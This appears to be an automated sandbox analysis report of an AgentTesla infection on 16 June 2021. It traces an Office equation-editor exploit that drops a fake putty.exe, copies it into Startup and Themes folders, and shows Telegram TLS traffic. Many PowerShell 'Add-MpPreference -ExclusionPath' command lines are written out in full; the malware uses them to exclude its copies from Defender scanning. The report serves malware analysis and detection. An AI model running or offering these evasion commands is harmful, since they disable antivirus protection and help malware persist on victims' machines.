					CN=Go Daddy Secure Certificate Authority - G2, OU=http://certs.godaddy.com/repository/, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US	CN=Go Daddy Root Certificate Authority - G2, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US	Tue May 03 09:00:00 CEST 2011	Sat May 03 09:00:00 CEST 2031
					CN=Go Daddy Root Certificate Authority - G2, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US	OU=Go Daddy Class 2 Certification Authority, O="The Go Daddy Group, Inc.", C=US	Wed Jan 01 08:00:00 CET 2014	Fri May 30 09:00:00 CEST 2031
					OU=Go Daddy Class 2 Certification Authority, O="The Go Daddy Group, Inc.", C=US	OU=Go Daddy Class 2 Certification Authority, O="The Go Daddy Group, Inc.", C=US	Tue Jun 29 19:06:20 CEST 2004	Thu Jun 29 19:06:20 CEST 2034
Jun 16, 2021 12:06:52.846751928 CEST	149.154.167.220	443	192.168.2.22	49182	CN=api.telegram.org, OU=Domain Control Validated CN=Go Daddy Secure Certificate Authority - G2, OU=http://certs.godaddy.com/repository/, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US CN=Go Daddy Root Certificate Authority - G2, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US OU=Go Daddy Class 2 Certification Authority, O="The Go Daddy Group, Inc.", C=US	CN=Go Daddy Secure Certificate Authority - G2, OU=http://certs.godaddy.com/repository/, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US CN=Go Daddy Root Certificate Authority - G2, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US OU=Go Daddy Class 2 Certification Authority, O="The Go Daddy Group, Inc.", C=US OU=Go Daddy Class 2 Certification Authority, O="The Go Daddy Group, Inc.", C=US	Tue Mar 24 14:48:17 CET 2020 Tue May 03 09:00:00 CEST 2011 Wed Jan 01 08:00:00 CET 2014 Tue Jun 29 19:06:20 CEST 2004	Mon May 23 18:17:38 CEST 2022 Sat May 03 09:00:00 CEST 2031 Fri May 30 09:00:00 CEST 2031 Thu Jun 29 19:06:20 CEST 2034	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19-5-4,0-10-11-13-23-65281,23-24,0	36f7277af969a6947a61ae0b815907a1
					CN=Go Daddy Secure Certificate Authority - G2, OU=http://certs.godaddy.com/repository/, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US	CN=Go Daddy Root Certificate Authority - G2, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US	Tue May 03 09:00:00 CEST 2011	Sat May 03 09:00:00 CEST 2031
					CN=Go Daddy Root Certificate Authority - G2, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US	OU=Go Daddy Class 2 Certification Authority, O="The Go Daddy Group, Inc.", C=US	Wed Jan 01 08:00:00 CET 2014	Fri May 30 09:00:00 CEST 2031
					OU=Go Daddy Class 2 Certification Authority, O="The Go Daddy Group, Inc.", C=US	OU=Go Daddy Class 2 Certification Authority, O="The Go Daddy Group, Inc.", C=US	Tue Jun 29 19:06:20 CEST 2004	Thu Jun 29 19:06:20 CEST 2034

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: WINWORD.EXE PID: 2028 Parent PID: 584

General

Start time:	12:04:33
Start date:	16/06/2021
Path:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Wow64 process (32bit):	false
Commandline:	'C:\Program Files\Microsoft Office\Office14\WINWORD.EXE' /Automation -Embedding
Imagebase:	0x13f210000
File size:	1424032 bytes
MD5 hash:	95C38D04597050285A18F66039EDB456
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: EQNEDT32.EXE PID: 2736 Parent PID: 584

General

Start time:	12:04:34
Start date:	16/06/2021
Path:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
Wow64 process (32bit):	true
Commandline:	'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding
Imagebase:	0x400000
File size:	543304 bytes
MD5 hash:	A87236E214F6D42A65F5DEDAC816AEC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: putty.exe PID: 2760 Parent PID: 2736

General

Start time:	12:04:35
Start date:	16/06/2021
Path:	C:\Users\user\AppData\Roaming\putty.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\putty.exe
Imagebase:	0xbc0000
File size:	144168 bytes
MD5 hash:	F72277EEBAF6B7E2891B7BA24188EBDA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Antivirus matches:	Detection: 13%, ReversingLabs
Reputation:	low

Chronological Activities

Analysis Process: powershell.exe PID: 2852 Parent PID: 2760

General

Start time:	12:04:54
Start date:	16/06/2021
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\putty.exe' -Force
Imagebase:	0x21f50000
File size:	452608 bytes
MD5 hash:	92F44E405DB16AC55D97E3BFE3B132FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	high

Chronological Activities

Analysis Process: powershell.exe PID: 2428 Parent PID: 2760

General

Start time:	12:04:54
Start date:	16/06/2021
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe' -Force
Imagebase:	0x21f50000
File size:	452608 bytes
MD5 hash:	92F44E405DB16AC55D97E3BFE3B132FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	high

Chronological Activities

Analysis Process: powershell.exe PID: 2180 Parent PID: 2760

General

Start time:	12:04:55
Start date:	16/06/2021
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe' -Force
Imagebase:	0x21f50000
File size:	452608 bytes
MD5 hash:	92F44E405DB16AC55D97E3BFE3B132FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	high

Chronological Activities

Analysis Process: powershell.exe PID: 2276 Parent PID: 2760

General

Start time:	12:04:56
Start date:	16/06/2021
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\putty.exe' -Force
Imagebase:	0x21f50000
File size:	452608 bytes
MD5 hash:	92F44E405DB16AC55D97E3BFE3B132FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	high

Chronological Activities

Analysis Process: e888z168ybTRefC409a4S5mn41ofdd.exe PID: 2948 Parent PID: 2760

General

Start time:	12:04:57
Start date:	16/06/2021
Path:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe'
Imagebase:	0x1110000
File size:	144168 bytes
MD5 hash:	F72277EEBAF6B7E2891B7BA24188EBDA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Antivirus matches:	Detection: 13%, ReversingLabs
Reputation:	low

Chronological Activities

Analysis Process: powershell.exe PID: 1748 Parent PID: 2760

General

Start time:	12:04:57
Start date:	16/06/2021
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Resources\Themes\aero\Shell\52V57U7\svchost.exe' -Force
Imagebase:	0x21f50000
File size:	452608 bytes
MD5 hash:	92F44E405DB16AC55D97E3BFE3B132FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	high

Chronological Activities

Analysis Process: powershell.exe PID: 2236 Parent PID: 2760

General

Start time:	12:04:58
Start date:	16/06/2021
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\putty.exe' -Force
Imagebase:	0x21f50000
File size:	452608 bytes
MD5 hash:	92F44E405DB16AC55D97E3BFE3B132FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	high

Chronological Activities

Analysis Process: powershell.exe PID: 1664 Parent PID: 2760

General

Start time:	12:04:59
Start date:	16/06/2021
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Resources\Themes\aero\Shell\52V57U7\svchost.exe' -Force
Imagebase:	0x21f50000
File size:	452608 bytes
MD5 hash:	92F44E405DB16AC55D97E3BFE3B132FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	high

Chronological Activities

Analysis Process: putty.exe PID: 2112 Parent PID: 2760

General

Start time:	12:05:05
Start date:	16/06/2021
Path:	C:\Users\user\AppData\Roaming\putty.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\putty.exe
Imagebase:	0xbc0000
File size:	144168 bytes
MD5 hash:	F72277EEBAF6B7E2891B7BA24188EBDA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000013.00000002.2356991677.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source: 00000013.00000002.2356991677.0000000000402000.00000040.00000001.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: e888z168ybTRefC409a4S5mn41ofdd.exe PID: 3036 Parent PID: 1388

General

Start time:	12:05:07
Start date:	16/06/2021
Path:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe'
Imagebase:	0x1110000
File size:	144168 bytes
MD5 hash:	F72277EEBAF6B7E2891B7BA24188EBDA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	low

Chronological Activities

Analysis Process: svchost.exe PID: 2176 Parent PID: 428

General

Start time:	12:05:16
Start date:	16/06/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k WerSvcGroup
Imagebase:	0xff0e0000
File size:	27136 bytes
MD5 hash:	C78655BC80301D76ED4FEF1C1EA40A7D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: WerFault.exe PID: 2232 Parent PID: 2176

General

Start time:	12:05:17
Start date:	16/06/2021
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 3036 -s 1132
Imagebase:	0x510000
File size:	360448 bytes
MD5 hash:	5FEAB868CAEDBBD1B7A145CA8261E4AA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: powershell.exe PID: 2344 Parent PID: 2948

General

Start time:	12:05:26
Start date:	16/06/2021
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe' -Force
Imagebase:	0x22310000
File size:	452608 bytes
MD5 hash:	92F44E405DB16AC55D97E3BFE3B132FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET

Chronological Activities

Analysis Process: powershell.exe PID: 2656 Parent PID: 2948

General

Start time:	12:05:26
Start date:	16/06/2021
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Resources\Themes\aero\Shell\52V57U7\svchost.exe' -Force
Imagebase:	0x22310000
File size:	452608 bytes
MD5 hash:	92F44E405DB16AC55D97E3BFE3B132FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET

Chronological Activities

Analysis Process: powershell.exe PID: 2428 Parent PID: 2948

General

Start time:	12:05:27
Start date:	16/06/2021
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe' -Force
Imagebase:	0x22310000
File size:	452608 bytes
MD5 hash:	92F44E405DB16AC55D97E3BFE3B132FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET

Chronological Activities

Analysis Process: powershell.exe PID: 2276 Parent PID: 2948

General

Start time:	12:05:28
Start date:	16/06/2021
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Resources\Themes\aero\Shell\52V57U7\svchost.exe' -Force
Imagebase:	0x22310000
File size:	452608 bytes
MD5 hash:	92F44E405DB16AC55D97E3BFE3B132FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET

Chronological Activities

Analysis Process: svchost.exe PID: 1492 Parent PID: 1388

General

Start time:	12:05:29
Start date:	16/06/2021
Path:	C:\Windows\Resources\Themes\Aero\Shell\52V57U7\svchost.exe
Wow64 process (32bit):	true
Commandline:	'C:\Windows\Resources\Themes\aero\Shell\52V57U7\svchost.exe'
Imagebase:	0x1300000
File size:	144168 bytes
MD5 hash:	F72277EEBAF6B7E2891B7BA24188EBDA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Antivirus matches:	Detection: 13%, ReversingLabs

Chronological Activities

Analysis Process: e888z168ybTRefC409a4S5mn41ofdd.exe PID: 2532 Parent PID: 2948

General

Start time:	12:05:36
Start date:	16/06/2021
Path:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe
Imagebase:	0x1110000
File size:	144168 bytes
MD5 hash:	F72277EEBAF6B7E2891B7BA24188EBDA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000020.00000002.2355374665.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source: 00000020.00000002.2355374665.0000000000402000.00000040.00000001.sdmp, Author: Joe Security

Chronological Activities

Analysis Process: qweruiuyt.exe PID: 2676 Parent PID: 1388

General

Start time:	12:05:37
Start date:	16/06/2021
Path:	C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe'
Imagebase:	0x2c0000
File size:	144168 bytes
MD5 hash:	F72277EEBAF6B7E2891B7BA24188EBDA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Antivirus matches:	Detection: 13%, ReversingLabs

Chronological Activities

Analysis Process: qweruiuyt.exe PID: 2032 Parent PID: 1388

General

Start time:	12:05:51
Start date:	16/06/2021
Path:	C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe'
Imagebase:	0x2c0000
File size:	144168 bytes
MD5 hash:	F72277EEBAF6B7E2891B7BA24188EBDA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET

Chronological Activities

Analysis Process: WerFault.exe PID: 2852 Parent PID: 2176

General

Start time:	12:05:58
Start date:	16/06/2021
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 2032 -s 1132
Imagebase:	0x90000
File size:	360448 bytes
MD5 hash:	5FEAB868CAEDBBD1B7A145CA8261E4AA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: powershell.exe PID: 2732 Parent PID: 1492

General

Start time:	12:06:09
Start date:	16/06/2021
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Resources\Themes\aero\Shell\52V57U7\svchost.exe' -Force
Imagebase:	0x22840000
File size:	452608 bytes
MD5 hash:	92F44E405DB16AC55D97E3BFE3B132FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET

Chronological Activities

Analysis Process: powershell.exe PID: 2736 Parent PID: 1492

General

Start time:	12:06:10
Start date:	16/06/2021
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Resources\Themes\aero\Shell\52V57U7\svchost.exe' -Force
Imagebase:	0x22840000
File size:	452608 bytes
MD5 hash:	92F44E405DB16AC55D97E3BFE3B132FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET

Chronological Activities

Analysis Process: powershell.exe PID: 2564 Parent PID: 1492

General

Start time:	12:06:11
Start date:	16/06/2021
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Resources\Themes\aero\Shell\52V57U7\svchost.exe' -Force
Imagebase:	0x22840000
File size:	452608 bytes
MD5 hash:	92F44E405DB16AC55D97E3BFE3B132FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET

Chronological Activities

Analysis Process: powershell.exe PID: 2544 Parent PID: 1492

General

Start time:	12:06:13
Start date:	16/06/2021
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Resources\Themes\aero\Shell\52V57U7\svchost.exe' -Force
Imagebase:	0x22840000
File size:	452608 bytes
MD5 hash:	92F44E405DB16AC55D97E3BFE3B132FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET

Chronological Activities

Analysis Process: powershell.exe PID: 2832 Parent PID: 2676

General

Start time:	12:06:19
Start date:	16/06/2021
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe' -Force
Imagebase:	0x22840000
File size:	452608 bytes
MD5 hash:	92F44E405DB16AC55D97E3BFE3B132FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET

Chronological Activities

Analysis Process: powershell.exe PID: 1900 Parent PID: 2676

General

Start time:	12:06:20
Start date:	16/06/2021
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Resources\Themes\aero\Shell\52V57U7\svchost.exe' -Force
Imagebase:	0x22840000
File size:	452608 bytes
MD5 hash:	92F44E405DB16AC55D97E3BFE3B132FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET

Chronological Activities

Analysis Process: powershell.exe PID: 1192 Parent PID: 2676

General

Start time:	12:06:21
Start date:	16/06/2021
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe' -Force
Imagebase:	0x22840000
File size:	452608 bytes
MD5 hash:	92F44E405DB16AC55D97E3BFE3B132FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET

Chronological Activities

Analysis Process: powershell.exe PID: 2748 Parent PID: 2676

General

Start time:	12:06:22
Start date:	16/06/2021
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Resources\Themes\aero\Shell\52V57U7\svchost.exe' -Force
Imagebase:	0x22840000
File size:	452608 bytes
MD5 hash:	92F44E405DB16AC55D97E3BFE3B132FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET

Chronological Activities

Analysis Process: svchost.exe PID: 2612 Parent PID: 1492

General

Start time:	12:06:26
Start date:	16/06/2021
Path:	C:\Windows\Resources\Themes\Aero\Shell\52V57U7\svchost.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Resources\Themes\aero\Shell\52V57U7\svchost.exe
Imagebase:	0x1300000
File size:	144168 bytes
MD5 hash:	F72277EEBAF6B7E2891B7BA24188EBDA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET

Chronological Activities

Analysis Process: svchost.exe PID: 1904 Parent PID: 428

General

Start time:	12:06:32
Start date:	16/06/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalService
Imagebase:	0xff0e0000
File size:	27136 bytes
MD5 hash:	C78655BC80301D76ED4FEF1C1EA40A7D
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: qweruiuyt.exe PID: 1852 Parent PID: 2676

General

Start time:	12:06:34
Start date:	16/06/2021
Path:	C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe
Imagebase:	0x2c0000
File size:	144168 bytes
MD5 hash:	F72277EEBAF6B7E2891B7BA24188EBDA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: qweruiuyt.exe PID: 2500 Parent PID: 2676

General

Start time:	12:06:35
Start date:	16/06/2021
Path:	C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe
Imagebase:	0x2c0000
File size:	144168 bytes
MD5 hash:	F72277EEBAF6B7E2891B7BA24188EBDA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000037.00000002.2355316042.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source: 00000037.00000002.2355316042.0000000000402000.00000040.00000001.sdmp, Author: Joe Security

Chronological Activities

Analysis Process: svchost.exe PID: 1480 Parent PID: 428

General

Start time:	12:06:35
Start date:	16/06/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalService
Imagebase:	0xff0e0000
File size:	27136 bytes
MD5 hash:	C78655BC80301D76ED4FEF1C1EA40A7D
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: svchost.exe PID: 652 Parent PID: 428

General

Start time:	12:06:38
Start date:	16/06/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k DcomLaunch
Imagebase:	0xff660000
File size:	27136 bytes
MD5 hash:	C78655BC80301D76ED4FEF1C1EA40A7D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: powershell.exe PID: 2852 Parent PID: 2760 powershell.exeCOMMON

Executed Functions

Function 01D0ACB7, Relevance: 1.6, APIs: 1, Instructions: 75COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.KERNELBASE(?,?,?,?,?,?), ref: 01D0AD37

Memory Dump Source

Source File: 00000004.00000002.2122659040.0000000001D0A000.00000040.00000001.sdmp, Offset: 01D0A000, based on PE: false

Similarity

API ID: AdjustPrivilegesToken
String ID:
API String ID: 2874748243-0
Opcode ID: f47d0651511328c1ee1eb48aa488c61be62ef73c331de52a6f40b1369bfc707a
Instruction ID: 1ffd022399765f9f125e5b5a6c19f99f9411219d9ea8851d278e0e2d4b0efdd3
Opcode Fuzzy Hash: f47d0651511328c1ee1eb48aa488c61be62ef73c331de52a6f40b1369bfc707a
Instruction Fuzzy Hash: D721D3755097809FEB138F25DC44B92BFF4EF06310F0984DAE9848B1A3D3719908DB61

Uniqueness

Uniqueness Score: -1.00%

Function 01D0ACEE, Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.KERNELBASE(?,?,?,?,?,?), ref: 01D0AD37

Memory Dump Source

Source File: 00000004.00000002.2122659040.0000000001D0A000.00000040.00000001.sdmp, Offset: 01D0A000, based on PE: false

Similarity

API ID: AdjustPrivilegesToken
String ID:
API String ID: 2874748243-0
Opcode ID: ac03392aa68a5cf0bc59979ee13816ccd291ca9d7d16f8191c6ac44608dfcbe2
Instruction ID: 78f01affd6699bead4e02b7129f86f93482c1219bdc514d48b7474c2bd2d1e01
Opcode Fuzzy Hash: ac03392aa68a5cf0bc59979ee13816ccd291ca9d7d16f8191c6ac44608dfcbe2
Instruction Fuzzy Hash: 3B117076500704DFEB21CF59D885B96FBE4EF08621F08C4AAED498B662E371E414DB71

Uniqueness

Uniqueness Score: -1.00%

Function 01D0B2CC, Relevance: 1.6, APIs: 1, Instructions: 50nativeCOMMON

Download Yara Rule

APIs

NtQuerySystemInformation.NTDLL(?,?,?,?), ref: 01D0B329

Memory Dump Source

Source File: 00000004.00000002.2122659040.0000000001D0A000.00000040.00000001.sdmp, Offset: 01D0A000, based on PE: false

Similarity

API ID: InformationQuerySystem
String ID:
API String ID: 3562636166-0
Opcode ID: 8da1663196a8b3daea275da2eb5b8ebde08ace585c7c73d7941ece00357ce735
Instruction ID: 17f252419961272bdc87d7d596e583c1a0a01d7d5d848fdae7351aade3d78756
Opcode Fuzzy Hash: 8da1663196a8b3daea275da2eb5b8ebde08ace585c7c73d7941ece00357ce735
Instruction Fuzzy Hash: AA11A075508780AFDB228F15DC45F52FFB4EF0A220F09849EED844B663C275A818DB62

Uniqueness

Uniqueness Score: -1.00%

Function 01D0B2EE, Relevance: 1.5, APIs: 1, Instructions: 38nativeCOMMON

Download Yara Rule

APIs

NtQuerySystemInformation.NTDLL(?,?,?,?), ref: 01D0B329

Memory Dump Source

